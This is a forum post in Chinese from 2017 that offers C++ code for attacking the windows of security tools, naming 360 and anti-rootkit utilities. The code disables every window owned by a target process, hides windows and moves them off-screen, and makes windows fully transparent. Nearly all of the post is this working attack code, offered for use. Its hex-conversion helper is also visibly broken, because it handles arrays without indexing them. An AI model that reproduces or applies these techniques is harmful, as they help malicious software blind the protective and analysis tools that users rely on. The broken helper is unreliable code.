看流星社区

 找回密码
 注册账号
查看: 1926|回复: 0

窗口攻击大法

[复制链接]

该用户从未签到

发表于 2017-6-2 11:01:05 | 显示全部楼层 |阅读模式
窗口攻击大法:
现在攻击Xurte, powertool,360等都还有用。。
界面:




1.窗口失效
void CWindowAttackDlg::On_Ok()
{
        // TODO: Add your control notification handler code here
        // TODO: Add extra validation here
        DWORD dwInputPID = GetDlgItemInt(IDC_EDT_pid);
        DWORD dwPID;
        for (int i = 10000; i < 9999999;i++)
        {
                GetWindowThreadProcessId((HWND)i, &amp;dwPID);
                if ( (dwPID == dwInputPID) || (dwPID == 0))
                {
                        ::EnableWindow((HWND)i, 0);
                }
        }
}[/code]
2.窗口移动
void CWindowAttackDlg::OnOk2()
{
        // TODO: Add your control notification handler code here
        WINDOWPLACEMENT stPlacement = {0};
        stPlacement.length = sizeof(WINDOWPLACEMENT);
        stPlacement.showCmd = SW_HIDE;
        stPlacement.ptMaxPosition.x = -12;
        stPlacement.ptMaxPosition.y = -12;

        stPlacement.ptMinPosition.x = -12;
        stPlacement.ptMinPosition.y = -12;
        stPlacement.rcNormalPosition.bottom = -12;
        stPlacement.rcNormalPosition.left = -12;
        stPlacement.rcNormalPosition.right = -12;
        stPlacement.rcNormalPosition.top = -12;

        DWORD dwHandle = GetDlgItemInt(IDC_EDT_pid2);


        ::SetWindowPlacement((HWND)dwHandle, &amp;stPlacement);

        ::MoveWindow((HWND)dwHandle, -1, -1, 0, 0 , FALSE);
        ::SetWindowPos((HWND)dwHandle,HWND_BOTTOM, -21, -12, 0, 0, SWP_HIDEWINDOW);
}[/code]
3. 窗口透明
typedef  BOOL  (__stdcall *pSetLayeredWindowAttributes) ( HWND hwnd, COLORREF crKey, BYTE bAlpha,DWORD dwFlags);

int ChangeNum(CString str,int length)     
{     
    char  revstr[16]={0};  //根据十六进制字符串的长度,这里注意数组不要越界  
    int   num[16]={0};     
    int   count=1;     
    int   result=0;     
    strcpy(revstr,str);     
    for   (int i=length-1;i>=0;i--)     
    {     
        if ((revstr>='0') &amp;&amp; (revstr<='9'))     
            num=revstr-48;//字符0的ASCII值为48  
        else if ((revstr>='a') &amp;&amp; (revstr<='f'))     
            num=revstr-'a'+10;     
        else if ((revstr>='A') &amp;&amp; (revstr<='F'))     
            num=revstr-'A'+10;     
        else     
            num=0;   
        result=result+num*count;     
        count=count*16;//十六进制(如果是八进制就在这里乘以8)      
    }     
    return result;     
}  


void CWindowAttackDlg::OnOk3()
{
        // TODO: Add your control notification handler code here
        DWORD dwHwnd;
        CString strHwnd;
        GetDlgItemText(IDC_EDT_pid3, strHwnd);

        dwHwnd = ChangeNum(strHwnd, strHwnd.GetLength());

        DWORD dwExStyle = ::GetWindowLong((HWND)dwHwnd, GWL_EXSTYLE);
        ::SetWindowLong((HWND)dwHwnd, GWL_EXSTYLE, dwExStyle | WS_EX_LAYERED);

        HMODULE hUser = GetModuleHandle("user32.dll");
        if (hUser == NULL)
        {
                AfxMessageBox("GetModuleHandle error");
                return ;
        }
                //SetLayeredWindowAttributes
        pSetLayeredWindowAttributes pMySetLayeredWindowAttributes;
        pMySetLayeredWindowAttributes = (pSetLayeredWindowAttributes)GetProcAddress(hUser, "SetLayeredWindowAttributes");
        pMySetLayeredWindowAttributes((HWND)dwHwnd, 0, 0, LWA_ALPHA);
        FreeLibrary(hUser);
}[/code]
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-4-19 08:20

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表